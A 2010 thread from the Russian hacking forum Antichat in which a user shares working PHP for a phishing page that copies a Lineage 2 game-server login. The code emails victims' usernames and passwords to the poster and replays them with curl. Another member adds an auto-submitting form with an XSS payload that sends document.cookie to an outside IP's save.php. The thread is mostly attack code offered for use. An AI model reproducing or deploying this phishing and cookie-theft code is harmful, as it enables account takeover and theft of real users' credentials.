Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Вопрос по curl (https://forum.antichat.xyz/showthread.php?t=182868)

IgrikX 28.02.2010 21:38

Вопрос по curl
 
Вообщем, сделал фэйковую страницу одного сайта, при вводе логина и пароля на моём сайте (фэйковом), отправляю логин и пароль на ящик, потом с помощь curl авторизируюсь на сайте, вроде авторизируеться, но после редиректа на сайт, пишет что не авторизиравано! Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?

PHP код:


<?php
/*обработчик*/
$name $_POST['sw_name'];
$pass $_POST['sw_pass'];
//echo "Имя - $name\n"; 
//echo "Пароль - $pass";
mail("igorpeshko@mail.ru""Lineage 2""Ima - $name, Pass - $pass");

$ch curl_init(); // создаёт соединение
curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Переходим на страницу, на которой нужно пройти процедуру авторизации */
curl_setopt($chCURLOPT_RETURNTRANSFER,1);
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_POSTFIELDS"sw_name=$name&sw_pass=$pass&sw_do_login=1"); /* Внимание! Здесь необходимо передать параметры, полученные Вами от сниффера – параметры разделяются знаком & */
curl_setopt($chCURLOPT_COOKIEJAR,$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt');
$result curl_exec($ch);
curl_setopt($chCURLOPT_URL"http://la2.byfly.by/"); /* Теперь заходите на сайт как авторизованный пользователь – в данном случае нужно вместо example.com указать URL страницы, на которую может попасть только авторизованный пользователь */
curl_setopt($chCURLOPT_POST0); /* Также необязательное действие, но я указал этот параметр – устанавливаю CURLOPT_POST в нуль, ведь теперь мне не нужно передавать данные методом POST */
curl_setopt($chCURLOPT_COOKIEFILE$_SERVER['DOCUMENT_ROOT'].'/cookiefile.txt'); /* Внимание! Здесь третий параметр (адрес текстового файла с куками) должен быть точно таким же, как и при использовании CURLOPT_COOKIEJAR, иначе процедура авторизации работать не будет, так как требуемые серверу Куки не передадутся */
$result curl_exec($ch);
curl_close($ch);
echo 
$result;
?>

<meta http-equiv="refresh" content="10;url=http://la2.byfly.by/">


undef 28.02.2010 21:48

необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
читай php.net/setcookie. Это пройдет только в случае, когда проверяется только идентификатор сессии, но не ip-адрес.

b3 28.02.2010 23:21

Цитата:

Как сделать так, что бы после редиректа, юзер был авторизированным на сайте?
Послать юзера на страницу в которой есть ифрейм, и в ифрейме автосабмитом авторизоваться на целевом сайте.

Цитата:

необходмо с помощью setcookie отдать пользователю те куки, которые сохранены в cookiefile.txt.
Таким макаром ты присвоиш куки которые будут действовать только для фейкового сайта, чужому сайту ты не присвоиш куки.

IgrikX 28.02.2010 23:40

b3, авторизоваться автосабмитом, это как понять?

b3 01.03.2010 03:15

Ну ето когда ты передираеш форму авторизации с нужного сайта, заполняеш её поля, и потом при помощи JS жмеш кнопку "войти".
PHP код:

<form name="mainForm3" method="post" action="http://********/"
<
input type="text" name="orderID" value="1"></p
<
input type="text" name="customer_email" value='"><script>document.location.href="http://**.**.***.***/save.php?cookie="+document.cookie;</script>'
<
input type="submit" name="find" value="Проверить статус"
</
form
<
script>document.mainForm3.submit();</script

Вот маленький пример, но тут не авторизация, но смысл тот же.


Время: 15:22